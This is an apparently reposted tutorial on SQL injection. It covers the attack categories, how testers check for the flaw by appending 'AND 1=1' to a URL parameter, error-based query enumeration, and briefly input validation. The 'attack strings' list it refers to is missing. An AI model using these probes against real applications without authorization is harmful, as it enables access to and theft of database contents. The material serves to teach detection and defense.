SQL Injection Attack And Defence

What is SQL Injection?

Normally web applications provide interface to the user to input the information. These user inputs are further used for many purposes one of which is to query the databases. The user input as part of SQL statements gets executed on the RDBMS. SQL injection is trying to input such data through the web application’s user interface that would give malicious user the sensitive information, edit/modify the protected data or crash the entire system etc. In the worst-case scenarios the malicious user is able to even penetrate further into the network by compromising the security of the database host machine.

There are four main categories of SQL Injection attacks against databases

1. SQL Manipulation: manipulation is process of modifying the SQL statements by using various operations such as UNION .Another way for implementing SQL Injection using SQL Manipulation method is by changing the where clause of the SQL statement to get different results.
2. Code Injection: Code injection is process of inserting new SQL statements or database commands into the vulnerable SQL statement. One of the code injection attacks is to append a SQL Server EXECUTE command to the vulnerable SQL statement. This type of attack is only possible when multiple SQL statements per database request are supported.
3. Function Call Injection: Function call injection is process of inserting various database function calls into a vulnerable SQL statement. These function calls could be making operating system calls or manipulate data in the database.
4. Buffer Overflows: Buffer overflow is caused by using function call injection. For most of the commercial and open source databases, patches are available. This type of attack is possible when the server is un-patched

Detection of SQL Injection Vulnerability

Detection of SQL injection is tough because it may be present in any of the many interfaces application exposes to the user and it may not be readily detectable. Therefore identifying and fixing this vulnerability effectively warrants checking each and every input that application accepts from the user.

2.1 How to find if the application is vulnerable or not

As mentioned before web applications commonly use RDBMS to store the information. The information in RDBMS is stored/retrieved with the help of SQL statements. Common mistake made by developers is to use, user supplied information in the ‘Where’ clause of the SQL statement while retrieving the information. Thus by modifying the ‘Where’ clause by additional conditions to the ‘Where’ clause; entire SQL statement can be modified. The successful attempt to achieve this can be verified by looking at the output generated by the DB server. Following Example of ‘Where’ clause modification would explain this further.

If the URL of a web page is:

1. http://www.prey.com/sample.jsp?param1=9 The SQL statement the web application would use to retrieve the information from the database may look like this: SELECT column1, column2 FROM Table1 WHERE param1 = 9 After executing this query the database would return data in columns1 and column2 for the rows which satisfy the condition param1 = 9. This data is processed by the server side code like servlets etc and an HTML document is generated to display the information.
2. To test the vulnerability of the web application, the attacker may modify the ‘Where’ clause by modifying the user inputs in the URL as follows. http://www.prey.com/sample.jsp?param1=9 AND 1=1 And if the database server executes the following query: SELECT coulmn1, column2 FROM Table1 WHERE param1 = 9 AND 1=1 . If this query also returns the same information as before, then the application is susceptible to SQL injection

Query Enumeration with Syntax errors

Many web servers return the incorrect syntax error along with the part of the SQL statement that was sent to database server for execution. This situation provides an opportunity to the hacker’s to generate errors by trying various input combinations and get the SQL statement in the error message. After getting the good idea about the existing SQL statement like this, hacker may try other SQL constructs in the injection.

Suggested attack strings are
Attack Strings

The above listed malicious inputs may or may not give same results. Therefore it will be good to try all the inputs.

Analyzing the result set
After trying to inject a single quote (‘) and it’s above mentioned combinations or trying to attach and AND condition that is always true, the returned message needs to be analyzed. If the return message contains some kind of database error then SQL injection was definitely successful. In case there isn’t a direct database error message, it is worth checking on previous pages or in the header information for the SQL words like ODBC, SQL Server etc All the places need to be checked including the hidden variables.

A secure web application would validate the user inputs and would reject such values. So ideally such values input by the user should cause errors that are handled by the application and no error message hinting failure of the database command will get displayed to the user. If the database errors were directly displayed to the user, which is the default behavior of the ASP/JSP then the attacker, would be able to get entire structure of the database and read data in the database that the application user account can potentially read.

Read More:
http://www.securitydocs.com/library/3587